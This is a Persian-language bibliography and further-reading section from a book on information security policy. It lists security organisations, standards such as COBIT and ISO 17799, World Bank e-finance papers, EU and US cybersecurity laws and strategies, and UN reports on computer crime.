استاندارد unicode برای این بوجود آمد که تولید نرم‌افزارهای بین‌المللی و پردازش اطلاعات به زبانهای رایج دنیا را تسهیل کند. سند زیر تاریخچهٔ بوجود آمدن این استاندارد میان فروشندگان و سازمان استانداردهای بین‌المللی (ISO) را ارائه می‌کند. این مقاله اهداف و اصول طراحی استاندارد unicode را توصیف می‌نماید، و همچنین روی این مسئله بحث می‌کند که یک برنامهٔ کاربردی چگونه باید از این استاندارد استفاده کند. این مقاله با معرفی برخی راهکارها برای استفاده از unicode و نیز یک توضیح در مورد نحوهٔ پیاده‌سازی unicode در محصولات شرکت مایکروسافت به پایان می‌رسد. تصمیم مایکروسافت مبنی بر کاربرد یک مجموعه حروف واحد بعنوان کاراکترهای اصلی سیستم‌عامل Windows NT، یکی از عوامل عمدهٔ موفقیت unicode است. اطلاعات بیشتر در این زمینه در آدرس زیر قابل دسترسی است:

http://research.compaq.com/wrl/DECarchives/DTJ/DTJB02/DTJB02SC.TXT

مطالب بیشتر در مورد جنبه‌های فنی امنیت را می‌توانید در آدرسهای و پایگاههای زیر بیابید:

مرکز مطالعات[۴۸۶] مؤسسه SANS:
http://www.sans.org/rr/catindex.php?cat_id=48

پایگاه وب یکی از معتبرترین مراکز امنیتی دنیا:
http://www.securityfocus.com

یک پایگاه وب که نرم‌افزارهای زیادی برای نظارت بر کاربرد و مدیریت سایر جنبه‌های امنیتی سیستم را بصورت رایگان ارائه می‌کند:
http://www.sysinternals.com

یک پایگاه وب مربوط به امنیت Unix:
http://www.deter.com/unix/index.htmlm

پایگاه وبی که تعدادی از فهرستهای پستی مربوط به چند ابزار امنیتی مشهور را ارائه می‌کند:
http://msgs.securepoint.com

صفحه‌ای از CERT که برای پیکربندی سیستمهای Unix خطمشی‌هایی ارائه می‌کند:
http://www.cert.org/tech_tips/unix_configuration_guidelines.html

صفحه‌ای از پایگاه وب مرکز CERT که برای پیکربندی سیستمهای Windows خطمشی‌هایی ارائه می‌دهد:
http://www.cert.org/tech_tips/win_configuration_guidelines.html

صفحه‌ای از راه‌حلهایی که CERT برای شناسایی نشانهای یک تهاجم فراهم می‌کند:
http://www.cert.org/security-improvement/modules/m09.html

صفحهٔ وب پروژهٔ FreeFire برای نرم‌افزار امنیتی رایگان:
http://sites.inka.de/lina/freefire-l/index.en.html

و یک صفحهٔ وب شامل توصیه‌ها و راهنماهایی برای تحلیل محتویات فایلهای ثبت سیستم:
http://www.counterpane.com/log-analysis.html

---

486 Reading Room

بخش سوم

The Human Development Report 2001: Making New Technologies Work for Human Development" (UNDP: NY, 2001).

تعدادی از کتابهای *گلاسنر*[۴۸۷]، *کلرمن*[۴۸۸] و *مک‌نوین*[۴۸۹] را مورد ملاحظه قرار دهید:

Electronic Safety and Soundness: Securing Finance in a New Age, Public Policy Issues (October 2003).

رسالهٔ فوق، نهایت تلاشهای سه سال گذشته است که بر اساس چندین مقاله به رشتهٔ تحریر در آمده.

Electronic Security: Risk Mitigation in Financial Transactions (May 2002, June 2002, July 2002)

Electronic Finance: A New Approach to Financial Sector Development? (2002)

Mobile Risk Management: E-Finance in the Wireless Environment (May 2002)

این مقالات در آدرس زیر موجود هستند. در این پایگاه، روی واژهٔ E-Security کلیک کنید:
www.worldbank1.org/finance

مطالب بیشتر در مورد پروژه‌های تحقیقاتی و محصولات مدیریت امنیت در پایگاه *مؤسسهٔ نظارت بر فناوری اطلاعات* (ITGI)[۴۹۰] موجود است: *www.itgi.org*

برای کسب اطلاعات در مورد برنامه‌ها به *انجمن سیستم اطلاعاتی ممیزی و کنترل*[۴۹۱] در www.isaca.org مراجعه کنید. این مطالعه‌ای ویژگیهای کشور اروگوئه را عنوان می‌کند که ممکن است برای خوانندگان جالب باشد:
http://www.isaca.org/ct_case.htm

استاندارد COBIT (به آدرس *http://www.isaca.org/cobit.htm* یا *http://www.itgi.org*) یک محصول آزاد است که برای مدیران و کاربران سازمانها، ممیزها و راهبران سیستمهای اطلاعاتی، و نیز حقوقدانان، یک بستر مرجع در مورد امنیت الکترونیکی ارائه می‌کند.

برقراری ارتباط با ISACA دید مناسبی در مورد پیشرفتهای حال‌حاضر و آیندهٔ این اتحادیه به شما می‌دهد. سال هشتم (سال ۲۰۰۳) ارتباطات جهانی:
http://ISACF:RESEARCH4@www.isaca.org/@member/gcomm/gcv034.pdf

با توجه به افزایش وقایع امنیتی در سطح جهان، چند شرکت مشاور گزارشی در مورد امنیت فناوری اطلاعات در فضای بین‌المللی تهیه کرده‌اند. بعنوان نمونه مؤسسه *ارنست و یانگ*[۴۹۲] بتازگی تحقیق سال ۲۰۰۳ خود با عنوان امنیت اطلاعات جهانی را منتشر کرده است:
http://www.ey.com/global/download.nsf/US/TSRS_Global_Information_Security_survey_2003/$file/TSRS_Global_Information_Security_Survey_2003.pdf

اطلاعات امنیتی از جمله داده‌های تحقیقاتی مربوط به رخدادها و واکنشهای سازمانی را می‌توان در پایگاه مؤسسهٔ SANS پیدا کرد:
http://www.sans.org

InfraGard مؤسسه‌ای است که اطلاعات امنیتی را تحلیل می‌کند و به‌اشتراک می‌گذارد. این مؤسسه پرمنفعت برای اعضا در حقیقت دانش گستردهٔ وسیعی از همان اعضا را در هم می‌آمیزد و ارائه می‌کند. InfraGard در ابتدایی‌ترین سطح خود، یک سازمان مشارکتی میان دولت ایالات متحده (که بوسیلهٔ سازمان FBI هدایت می‌شود) و اتحادیهٔ انجمنهای تجاری، مؤسسات دانشگاهی، دوایر اجرای قوانین (نیروهای انتظامی) و سایر کسانی است که مسئولیت افزایش ضریب امنیت زیربناهای حیاتی ایالات متحده با آنها است. برای کسب اطلاعات در طیف وسیعی از مطالب امنیتی می‌توانید به پایگاه این مؤسسه در آدرس زیر مراجعه کنید:
http://www.infragard.net

یک سازمان دیگر که روی طیف گسترده‌ای از تهدیدات تمرکز دارد، دپارتمان تازه‌تأسیس *امنیت ملی* (DHS)[۴۹۳]

---

487 Glaessner
488 Kellerman
489 McNevin
490 IT Governance Institute
491 Information Systems Audit and Control Association

492 Ernst & Young Institute
493 Department of Homeland Security

ایالات متحده است. اولویت اول این سازمان جدید، حفاظت از ملت در برابر حملات تروریستی است. سازمانهای جزئی‌تر تهدیدها و فعالیتهای جاسوسی را تحلیل می‌کنند، از مرزها و فرودگاههای ایالات متحده دفاع می‌نمایند، زیربناهای حیاتی ایالات متحده را مورد محافظت قرار می‌دهند، و واکنشهای کشور را برای شرایط اضطراری در آینده مدون می‌سازند. DHS همچنین با تأسیس ادارات مختلف، مسئولیت حفاظت از حقوق شهروندی شهروندان آمریکایی و بهبود خدمات عمومی چون کمک‌رسانی هنگام وقوع حوادث طبیعی و ارائه خدمات شهروندی را نیز بر عهده دارد. برای اطلاعات بیشتر می‌توانید به پایگاه وب این سازمان در آدرس *www.dhs.gov* مراجعه کنید.

سازمان FBI بتازگی نتایج یک تحقیق در مورد جرائم رایانه‌ای را به چاپ رسانده است. برای مشاهدهٔ پایگاه اصلی مؤسسه امنیت رایانه‌ای به آدرس *www.gocsi.com* و برای مشاهدهٔ نتایج تحقیق به آدرس زیر مراجعه کنید:
http://i.cmpnet.com/gocsi/db_area/pdfs/fbi/FBI2003.pdf

دفتر تجارت بین‌المللی (ICC)[۴۹۴] یک سازمان بین‌المللی است که اعضای آن شامل کشورهای درحال توسعه هم می‌شوند. فعالیت این سازمان انجام تحقیقات در زمینه‌های مرتبط با فناوری اطلاعات و ارتباطات مثل تجارت الکترونیکی، امنیت الکترونیکی، حریم خصوصی، و قوانین محیطهای اینترنتی است. پایگاه وب ICC و صفحات مرتبط با این بحث را می‌توانید در آدرس زیر مشاهده کنید:
http://www.iccwbo.org/home/menu_electronic_business.asp

مطالب زیر نمونه‌هایی از فعالیتهای اخیر ICC هستند:

الف) *آیین‌نامهٔ امضاهای الکترونیکی*[۴۹۵]، که نتیجهٔ بررسی و پاسخ به درخواست کمیسیون اروپایی دستورالعمل‌های امضای الکترونیکی که در سپتامبر سال ۲۰۰۳ تسلیم کمیسیون اروپایی شده بود.

ب) طرح جعبه‌ابزار محرمانگی – این طرح اهداف بلندپروازانهٔ ICC را برای ضابطه‌مند کردن داده‌های شخصی شرح می‌دهد، و بهترین روشها برای حفاظت از محرمانگی – بگونه‌ای که کسب و کار بتواند عملکرد مؤثری داشته باشد و به نوآوری خود ادامه دهد – را پیشنهاد می‌نماید.

پ) طرح تبیین سیاست ICC در مورد محرمانگی کارمندان، حفاظت داده‌ها، و منابع انسانی – این طرح موقعیت ICC را در مسائل کلیدی حفاظت داده‌ها و منابع‌انسانی روشن می‌کند و توصیه‌هایی برای سیاستهای دولتی در این زمینه ارائه می‌دهد.

ت) *طرح مفاهیم الکترونیکی*[۴۹۶] – طرح مفاهیم الکترونیکی سال ۲۰۰۴، ابزار قانونی مربوط به ضابطهٔ خود آن در قراردادهای الکترونیکی است. این مستند توسط یک گروه طرح‌ریز غیررسمی تهیه شده است. در قالب فعلی، مفاد طرح ابزارهایی هستند که بر سه جنبه تمرکز دارند: ۱) اطلاعات مربوط به قرارداد؛ ۲) ملاحظات محرمانگی؛ و ۳) ارزش واقعی اقلام دادهٔ الکترونیکی. این مفاد به موضوعاتی که در حوزهٔ رسانه‌های الکترونیکی مطرح هستند محدود می‌باشند، و لذا این طرح باید با تفسیری از ضوابط حال حاضر و مرسوم قراردادها تفسیر شود.

FISCAM[۴۹۷] سیاستها و اطلاعات فنی خود را در پایگاه وب زیر قرار می‌دهد:
http://www.gao.gov/special.pubs/ai12.19.6.pdf

مؤسسه بین‌المللی استاندارد (ISO) در حوزهٔ فناوری اطلاعات استانداردهای جهانی تدوین می‌کند. مجموعهٔ الگوهای سرآمدی این مؤسسه در حوزهٔ مدیریت امنیت اطلاعات (ISO/IEC17799)، استاندارد مؤسسه استاندار کشور انگلستان (BS 7799) را تکمیل کرده و در بسیاری از کشورها بعنوان یک استاندارد بین‌المللی مورد قبول واقع شده و انتظار آن می‌رود که به یک سند مرجع در تهیهٔ راهکارهای بهینهٔ تضمین تجارت الکترونیکی ایمن و قابل اعتماد تبدیل شود. برای آگاهی بیشتر می‌توانید به پایگاه وب زیر نگاهی بیاندازید:
http://www.iso.org

---

494 International Chamber of Commerce
495 Digital Signatures Directive

496 E-Temrs Draft
497 Federal Information System Control Manual

این استانداردها که از الگوهای سرآمدی و راهکارهای بهینهٔ راه‌حلهای امنیتی سراسر دنیا تهیه شده‌اند، به جنبه‌های مختلفی از امنیت می‌پردازند که از جملهٔ آنها می‌توان به موارد زیر اشاره کرد: سیاست امنیتی، سازماندهی امنیتی، طبقه‌بندی و کنترل سرمایه، امنیت کارکنان، امنیت محیطی و فیزیکی، امنیت ارتباطات و عملیات، کنترل دسترسی، توسعه و پشتیبانی سیستم، مدیریت مخاطرات، و مدیریت تداوم کسب و کار.

آخرین بازنگری در این استانداردها در سال ۲۰۰۳ انجام شده و اعلام شده که بازنگری بعدی در سپتامبر ۲۰۰۵ انجام خواهد شد.

مطالب بیشتر راجع به بخشهای سوم و چهارم که بر موارد و قوانین کسب و کار بین‌المللی تمرکز دارند:

۱) آماده‌سازی برای استقرار دولت الکترونیکی:
http://ww.audit.nsw.gov.au/guides-bp/e-govt-BPG.pdf

این پایگاه وب، بهترین و ساده‌ترین فهرست کنترل در مورد دولتهایی است که می‌خواهند دولت الکترونیکی را برای خود پیاده‌سازی نمایند (۲۰ صفحه). مطالب قابل توجه: فصلهایی در ارتباط با محرمانگی، امنیت و مدیریت اطلاعات و فناوری (ادارهٔ ممیزی ولز جنوبی، استرالیا[۴۹۸]) می‌باشد.

۲) مطالعات موردی در خصوص حفاظت از زیرساختهای حیاتی از طریق امنیت شبکه را می‌توانید در پایگاه وب زیر بیابید:
http://www.itu.int/osg/spu/ni/security/index.html

کره و برزیل در میان سایر کشورها نمونه‌های قابل توجه هستند.

۳) نمونهٔ بسیار خوبی در مورد اهداف دولت جهت تنظیم طرحی در خصوص امنیت فناوری اطلاعات و ارتباطات:

The government's guidelines for the development of the information society, Minister for Innovation and Technologies, Rome, June 2002.

همچنین می‌توانید در این خصوص به پایگاههای وب زیر مراجعه نمایید که شامل خلاصهٔ اجرایی طرح ملی ایتالیا در خصوص امنیت فناوری اطلاعات و ارتباطات می‌باشند:
http://www.innorazione.gov.it/eng/documenti/linee-guida-eng.pdf

۴) مراجع الگوها، موضوعات، و مضامین سیاست فناوری اطلاعات و ارتباطات جهانی از جمله امنیت و محرمانگی را می‌توان در پایگاه وب زیر یافت:
http://www.markle.org/globalpolicy

این نهاد بر مشارکت مؤثر و عملی تأکید دارد و از علاقه‌مندان کشورهای درحال توسعه شکل می‌گیرد و یک تیم کار ابزاری بر مشارکت در سیاستهای محلی از نیروی کار دولت تشکیل می‌دهد (ژوئن سال ۲۰۰۲).

۵) پایگاه وب ITU دربرگیرندهٔ مجموعه‌ای از آدرسهای پایگاههای وب سیاستی و نظارتی است:
http://www.itu.int/osg/spu/ni/security/links/policy.html
پایگاه وبی برای توسعه و *رویکرد الکترونیکی*[۴۹۹]:
http://www.itu.int/ITU-D/e-strategy/internet/

یادداشت تفاهم *اعتماد الکترونیکی*[۵۰۰] جهانی:
http://www.itu.int/ITU-D/e-strategy/MoU/world_e.html

و در مورد تجارت الکترونیکی: استراتژی فناوری برای کشورهای درحال توسعه:
http://www.itu.int/ITU-D/e-strategy/publications-articles/wmrcjune00/ntoko.html

498 Audit Office of New-South Wales, Australia

499 E-Strategy
500 E-Trust

in Financial Transactions -Public Policy Issues, June 2002, The World Bank.

Global Dialogue *E-Security: Risk Mitigation in theFinancial Sector*, The World Bank, Integrator Group, September 25, 2002

Goodman E., Seymour, Hassebroek B., Pamela, King, Davis and Ozment, Andy, *International Coordination to Increase the Security of Critical Network Infrastructures*, May 20-22, 2002, Seoul.

Harrop, Mike, *Creating Trust in Critical Network Infrastructures –Canadian Case Study*, May 20-22, 2002, Seoul, Korea.

International Telecommunications Union-Telecommunications Standardization Sector (ITU-T) – Lead Study Group 17 on Communications and Systems Security (www.itu.int/ITU-T/).

Internet Security Alliance, *Common Sense Guide for Senior Managers – Top Ten Recommended Security Practices*, July 2002.

Keck, Richard and Satola, David, *Entering the Grid Computing Marketplace – A Primer of Key Legal Issues*, April 1, 2003.

Kellerman, Thomas, *Mobile Risk Management: E-finance in the Wireless Environment*, The World Bank, May 2002.

McCullagh, Declan, *Will Canada's ISPs become spies?,* CNET News.com, August 27, 2002.

Monetary Authority of Singapore, *Technology Risk Management Guidelines for Financial Institutions*, February 28, 2003.

Official Journal of the European Communities – Council Resolution on a common approach and specific actions in the area of network and information security, January 28, 2002.

Official Journal of the European Communities – Council Resolution on the 2003 Australian Computer Crime and Security Survey.

Canadian Criminal Code, Part VI, Invasion of Privacy and Part IX, Offences against rights of property.

Claessens Stijn, Glaessner Thomas and Klingebiel Daniela, *E-Finance in Emerging Markets: Is Leapfrogging Possible?*

Commission of the European Communities: *Network and Information Security: Proposal for A European Policy Approach* – Brussels, June 6, 2001.

Commission of the European Communities: *Creating a Safer Information Society by Improving the Security of Information Infrastructures and Combating Computer-related Crime* – eEurope 2002, Brussels, January 26, 2001.

وزارت دادگستری کانادا:
www.canada.justice.gc.ca/en/cons/La-al/index.htm#toc

Dr Chae, Kijoon, *Introduction to Critical Network Infrastructures*, May 20-22, 2002, Seoul, Korea.

Dr Lim, Chaeho, *Creating Trust in Critical Network Infrastructures: Korean Case Study*, May 20-22, 2002, Seoul.

سندی در خصوص ابعاد قانونی خدمات جامعه اطلاعاتی و بطور خاص تجارت الکترونیکی در بازار داخلی (دستورالعملهایی در مورد تجارت الکترونیکی):

European Union Directive 2000/31/EC

یک سند بین‌المللی در خصوص ارتباطات مخابراتی راه دور:

European Union Directive 97/33/EC

سندی در خصوص محرمانگی و ارتباطات الکترونیکی:

European Union Directive 2002/58/EC

Glaessner, Thomas, Kellerman Tom, and McNevin, *Electronic Security: Risk Mitigation*

Implementation of the eEurope 2005 Action Plan, February 18, 2003.

OECD Guidelines for the Security of Information Systems and Networks – Towards a Culture of Security.

Privacy Amendment Act of Australia (Private Sector) - Act 2000

Security of Internet Enabled Wireless Devices, Wireless Task Force Findings, National Security Telecommunications Advisory Committee, January 2003.

Shaw, Robert, *Creating Trust in Critical Network Infrastructures: The Case of Brazil*, May 20-22, 2002, Seoul.

The National Strategy to Secure Cyberspace, President's Critical Infrastructure Board, United States, September 2002.

Wireless Security, Wireless Task Force Report, National Security Telecommunications Advisory Committee, January 2003.

بخش چهارم

Annual Survey by EPIC and Privacy International, *Privacy and Human Rights 2003* (Sept. 2003)
http://www.privacyinternational.org/survey/phr2003/

یک گزارش مفصل درمورد شرایط حریم خصوصی در جهان که توسط دولت ژاپن روی آن سرمایه‌گذاری شده است:

Japanese Ministry of Public Management, Home Affairs, Posts and Telecommunications. The Global Privacy Report, August 14, 2003.
http://joi.ito.com/joiwiki/privacyReport

راههای دریافت قوانین ضدهرزنامه و برقراری ارتباط با سازمانهای مرتبط در سراسر جهان و همچنین مقالات چاپ شده در مجلات حقوقی که به تحلیل عمیق‌تر مسائل می‌پردازد را می‌توانید در آدرس زیر بیابید:
http://www.spamlaws.com/

WIPO خلاصه‌ای از قانون مالکیت معنوی در کشورهای عضو را به چاپ رسانده که در آدرس زیر قابل دسترسی است:

http://www.wipo.org/about-ip/en/ipworldwide/index.html.

مرجع اصلی پاورقی‌های بخش چهارم:
http://www.usdoj.gov/04foia/privstat.htm

یک بحث مفصلتر پیرامون مسائل حقوقی ایالات متحده را می‌توانید در این کتاب بیابید که نایاب است اما نسخه‌های قدیمی آن را می‌توان پیدا کرد:
Computer Crime: ACrimefighter's Handbook (O'Reilly).

گروه پیشگامان جهانی سیاستهای اینترنت منابع زیادی در تمامی بخشهای مؤثر بر توسعهٔ ICT دارد:
http://www.internetpolicy.net

The National Strategy to Secure Cyberspace [United States], February 2003,
http://www.whitehouse.gov/pcipb/

Office of Critical Infrastructure Protection andEmergency Preparedness (OCIPEP)
http://www.ocipep.gc.ca/home/index_e.asp

برای اینکه مطلع شوید سایر کشورها چگونه به امنیت مسائل زیربنایی واکنش نشان داده‌اند، به منبع زیر مراجعه کنید:

International Critical Information InfrastructureProtection Handbook, edited by Andreas Wenger, Jan Metzger and Myriam Dunn, Center for Security Studiesand Conflict Research, Swiss Federal Institute of Technology (2002)
http://www.isn.ethz.ch/crn

وزارت کشور بریتانیا یک مرکز هماهنگی امنیت زیربنای ملی (NISCC) تأسیس کرده تا در آن به هماهنگی و مدیریت مسائل حفاظت از زیرساختهای حیاتی بپردازد، در اعلام هشدار و واکنش به حملات کمک کند، و ارتباط میان دولت و بخش خصوصی برای حفاظت از زیرساخت را تسهیل نماید.

در NISCC یک تیم واکنش به فوریتهای رایانه‌ای به نام UNIRAS وجود دارد. یک *گروه واکنش به حملات الکترونیکی* (EARG)[۵۰۱] نیز در NISCC تشکیل شده تا هنگامیکه زیرساختهای حیاتی سازمانهای دولتی که مورد حمله قرار می‌گیرند به آنها کمک کند. UNIRAS اطلاعات هشداردهنده و آگاهی بخش را برای تمامی بخشهای فعال تجاری در بریتانیا ارائه می‌دهد. در پایگاه وب NISCC (http://www.niscc.gov.uk) نیز اطلاعات مشروحی در مورد راهبرد دولت بریتانیا وجود دارد.

طبق قانون استرالیا، مؤسسات اجرایی، نهادهای غیردولتی هستند که توسط نمایندهٔ دولت تأسیس می‌شوند. این مؤسسات معمولاً مؤسساتی هستند که عملکردشان باید وسعتی در حد دولت داشته باشد و در عین حال نیاز داشته باشند که از دولت مرکزی مستقل باشند. مدیر یک مؤسسه اینچنینی بوسیلهٔ یک وزیر انتخاب می‌شود و به همان وزیر (در این مورد، وزارت ارتباطات و فناوری اطلاعات) نیز پاسخگو است. برای اطلاعات بیشتر به آدرس زیر مراجعه کنید:
http://www.noie.gov.au/projects/confidence/protecting/nat_agenda.htm.

International Critical Information Infrastructure Protection Handbook, edited by Andreas Wenger, Jan Metzger and Myriam Dunn, Center for Security Studies and Conflict Research, Swiss Federal Institute of Technology (2002)
http://www.isn.ethz.ch/crn

برای اطلاع از اینکه سایر کشورها چگونه به حفاظت از زیرساختهای حیاتی اطلاعات خود پرداخته‌اند، می‌توانید به منبع زیر مراجعه کنید:
International Critical Information Infrastructure Protection Handbook, edited by Andreas Wenger, Jan Metzger and Myriam Dunn, Center for Security Studiesand Conflict Research, Swiss Federal Institute of Technology (2002):
http://www.isn.ethz.ch/crn

U.S. Presidential Decision Directive 63: Critical Infrastructure Protection, May 22, 1998;
http://www.fas.org/irp/offdocs/pdd-63.htm

U.S. Presidential Decision Directive 62:
http://www.fas.org/irp/offdocs/pdd-62.htm

E.O. 13228, *Establishing the Office of Homeland Security and the Homeland Security Council*, October 8, 2001, *http://fas.org/irp/offdocs/eo/eo-13228.htm*;

E.O.13231, *Critical Infrastructure Protection in the Information Age*, October 16, 2001:
http://www.ciao.gov/News/EOonCriticalInfrastrutureProtection101601.html

The National Strategy to Secure Cyberspace, Feb. 14, 2003, *http://www.dhs.gov/interweb/assetlibrary/National_Cyberspace_Strategy.pdf.*

The National Strategy to Secure Cyberspace; by The National Strategy for the Physical Protection of Critical Infrastructures and Key Assets, released March 4, 2003, *http://www.dhs.gov/interweb/assetlibrary/Physical_Strategy.pdf*

Implementing components of The National Strategy for Homeland Security, issued by the White House; July 16, 2002.

European Commission, *Proposal for a Regulation of the European Parliament and of the Council Establishing the European Network and Information Security Agency*, Feb.11, 2003, COM (2003) 63 final, 2003/0032 (COD):
http://europa.eu.int/information_society/eeurope/action_plan/safe/documents/nisa_en.pdf

Council resolution of 28 Jan. 2002; European Commission, Communication from the Commission to the Council, the European Parliament, the European Economic And Social Committee and the Committee of the Regions - *Network and Information Security: Proposal for a European Policy Approach*, June 6, 2001, COM(2001) 298 final,
http://europa.eu.int/information_society/eeurope/news_library/new_documents/index_en.htm

European Commission, Communication from the Commission to the Council, the European Parliament, the Economic and Social Committee and the Committee on the

---

501 Electronic Attack Response Group

Regions - *Creating a Safer Information Society by Improving the Security of Information Infrastructures and Combating Computer-related Crime*, Jan. 26, 2001, COM(20000) 890 final, *http://europa.eu.int/ISPO/eif/InternetPolicies Site/Crime/CrimeCommEN.html*

Homeland Security Act, *http://www.whitehouse.gov/deptofhomeland/analysis/*

Federal Information Security Management Act, Title IIIof E-Government Act of 2002, Pub. Law 107-347, *http://csrc.nist.gov/policies/FISMA-final.pdf.*

Thomas J. Smedinghoff, *The Developing U.S. Legal Standard for Cyber-security*, Baker & McKenzie, Chicago, *http://www.bmck.com/ecommerce/us%20cyber-security%20standards.pdf*

کمیسیون حفاظت و مبادلات‌ایالات متحده علیه شرکتهایی که از سیستمهای رایانه‌ای خود در مقابل دسترسی غیرمجاز به اندازهٔ کافی محافظت بعمل نمی‌آورند اقدامات قانونی انجام می‌دهد. برای اطلاعات بیشتر می‌توانید به منبع زیر مراجعه نمایید:

SEC v. National Business Communications Corp., SEC Litig. Release No. 11223, Sept. 19, 1986, SEC Litig. Release No. 11229, Sept. 26, 1986. In the Matter of Material Sciences Corporation, SEC Litig. Release No. 41930, Sept. 28, 1999.

Sarbanes-Oxley Act of 2002, Pub. Law 107-204.

http://www.aicps.org; http://www.isaca.org.

همانطور که در این کتاب روشن شد، استانداردهای امنیت رایانه‌ای – از رهنمونهای OECD در زمینهٔ امنیت سیستمهای اطلاعاتی گرفته تا استانداردهای امنیت اطلاعات است که توسط نهادهای غیردولتی مدون شده‌اند – بطور گسترده‌ای در جامعهٔ کاربران رایانه‌ای مورد پذیرش قرار گرفته‌اند. برای توضیحات بیشتر می‌توانید به کتاب زیر یک نگاه گذرا داشته باشید:

Michael Nugent, *It Can't Happen Here*, Wall Street Technology Association, Ticker, A Technology Magazine For Industry Profession (2003), *http://www.wsta.org/publications/articles/0402_article03.html*

Carol A. Siegel, Ty R. Sagalow, Paul Serritella, *Cyber Risk Management Technical and Insurance Controls for Enterprise-Level Security, Security Management Practices*, pg. 42, (September/October 2002). *http://www.gsu.edu/~accrss/Security_and_Business_Risk.pdf.*

مرکز منابع امنیت رایانه‌ای NIST (CSRC)[۵۰۲] طیف وسیعی از مطالب امنیتی شامل استانداردهای رمزنگاری و کاربرد آنها، آزمون امنیت، تحقیقات امنیتی، سیستمهای گواهی، قابلیت اطمینان سیستم، بازگشت سرمایه‌گذاریهای امنیتی، امنیت رایانه‌ای مشاغل کوچک، و نیز تجارب امنیتی ارگانهای ملی را منتشر کرده است (http://csrc.nist.gov/). پایگاه وب انتشارات NIST نیز در آدرس قابل دسترسی است:
http://csrc.nist.gov/publications/index.html

National Security Agency, Security Recommendation Guides, *http://nsa1.www.conxion.com/*

CERT/Coordination Center, Software Engineering Institute, Carnegie Mellon University, *http://www.cert.org/*

European Commission, Communication from the Commission to the Council, the European Parliament, the European Economic And Social Committee and the Committee of the Regions - *Network and Information Security: Proposal for a European Policy Approach*, June6, 2001, COM(2001) 298 final, *http://europa.eu.int/information_society/eeurope/news_library/new_documents/index_en.htm*

Proposal for a Regulation of the European Parliament and of the Council Establishing the European Network and Information Security Agency, Commission of the European Communities, Feb. 11, 2003,

502 NIST's Computer Security Resource Center(CSRC)

the Eighth Session, Apr. 27-May 6, 1999, E/CN.15/1999/12, *http://www.un.org/documents/ecosoc/docs/1999/e1999-30.htm.*

UN, *International Review of Criminal Policy - United Nations Manual on the Prevention and Control of Computer-Related Crime*, *http://www.uncjin.org/Documents/EighthCongress.html*

گزارش کمیسیون اقتصادی و اجتماعی شورای امنیت سازمان ملل در زمینهٔ مقابله با جرائم رایانه‌ای و عدالت مجرمانه که فعالیتهای سازمان ملل و سایر سازمانهای بین‌المللی در حوزهٔ جرائم فضای مجازی و امنیت مجازی را خلاصه کرده است:
Effective measures to prevent and control computer-related crime, E/CN.15/2002/8, Report of the Secretary-General, United Nations, Economic and Social Council, Commission on Crime Prevention and Criminal Justice, Eleventh Session, Vienna, Apr. 16-25, 2002, *http://www.unodc.org/pdf/crime/commissions/11comm/8e.pdf*

Gramm-Leach Bliley Act, 15 USC, Subchapter 1, § 6801.

Appendix B to Part 570—*Interagency Guidelines Establishing Standards for Safeguarding Customer Information*, Part III, *http://www.occ.treas.gov/fr/fedregister/66fr8616.htm*

Financial Institutions and Customer Data: Complying with the Safeguards Rule, *http://www.ftc.gov/bcp/conline/pubs/buspubs/safeguards.htm*

Standards for Safeguarding Customer Information, 67 Fed. Reg. 36484-94, May 23, 2000, (codified at 16 C.F.R. Part 314), *http://www.ftc.gov/os/2002/05/67fr36585.pdf*

Technology Risk Management Guidelines for FinancialInstitutions, Monetary Authority of Singapore, Draft Nov. 11, 2002, *http://www.mas.gov.sg/display.cfm?id=94D063CD-5EB6-4636-82B5A725F9F6E9F5*

45 CFR §160, 162, 164; *http://www.cms.hhs.gov/hipaa/hipaa2/regulations/security/default.asp*

COM(2003) 63 final, 2003/0032 (COD), http://europa.eu.int/information_society/eeurope/action_plan/safe/documents/nisa_en.pdf

Proposal for a Regulation of the European Parliament and of the Council Establishing the European Network and Information Security Agency, Commission of the European Communities, Feb. 11, 2003, COM(2003) 63 final, 2003/0032 (COD), *http://europa.eu.int/information_society/eeurope/action_plan/safe/documents/nisa_en.pdf*

Protecting Developing Economies from Cyber Attack – Assistance to Build Regional Cyber-security Preparedness, APEC Media Release, Mar. 18, 2003, *http://www.apecsec.org.sg/whatsnew/press/PressRel_ProtectgFromCyberAttack_180303.html*

http://www.ncs.gov/NSTAC/attf.html

Jody R. Westby, ed., *International Guide to Combating Cybercrime*, AmericanBar Association, Section of Science & Technology Law, Privacy & Computer Crime Committee, by The American Bar Association's Privacy & Computer Crime Committee 2003, *http://www.abanet.org/abapubs/books/cybercrime/*

UN General Assembly, Resolution 55/63, *Combating the criminal misuse of information technologies*, Dec. 4, 2000, http://www.nvk2000.ru/apec/documents/International_Agreements/55-63_English.pdf

UN General Assembly, Resolution 56/121, *Combating the criminal misuse of information technologies*, Jan. 23, 2002, *http://ods-dds-ny.un.org/doc/UNDOC/*

ETS no. 185: *http://conventions.coe.int/treaty/EN/cadreprincipal.htm*

Eighth United Nations Congress on the Prevention of Crime and the Treatment of Offenders, Havana, Aug. 27- Sept. 7, 1990, report prepared by the Secretariat, UN publication, Sales No. E.91.IV.2, chap I.

برای دریافت متن این پیشنهادات، مراجعه کنید به:
United Nations Commission on Crime Prevention and Criminal Justice, Report on

HIPAA, 42 U.S.C. Section 1320d-2(d)(2).

Linda A. Malek and Brian R. Krex, “HIPAA’s security rule becomes effective 2005,” The National Law Journal,Mar. 31, 2003 at B14

http://europa.eu.int/comm/internal_market/privacy/law_en.htm

آیین‌نامه‌ای برای رفع نگرانیها در خصوص پردازش اطلاعات شخصی و حفاظت از حریم خصوصی در بخشهای تجارت الکترونیکی:

Directive 2002/58/EC of the European Parliament and of the Council of 12 July 2002

Directive on privacy and electronic communications, Article 4(1), Official Journal L 201/37, July 31, 2002, at 37-47 (replacing EU Directive 97/66/EC), *http://europa.eu.int/smartapi/cgi/sga_doc?smartapi!celexapi!prod!CELEXnumdoc&lg=en&numdoc=32002L0058&model=guichet*

Security Breach Information Act (SB 1386), added to the California Civil Code as Section 1798.29; Keith Poulsen, *California disclosure law has national reach*, SecurityFocus Online, Jan. 6, 2003, *http://online.securityfocus.com/news/1984.*

Michael Vatis, Testimony House Government Reform Committee, April 8, 2003; Sen. Bennett’s proposal.

بخش پنجم

http://news.cnet.com/news/0-1005-200-4523277.html

http://www.wired.com/news/technology/0,1282,34496,00.html

http://www.microsoft.com/technet/security/bulletin/MS01-017.asp

Forum of Incident Response and Security Teams, the worldwide consortium of major computer incident response groups. *http://www.first.org*

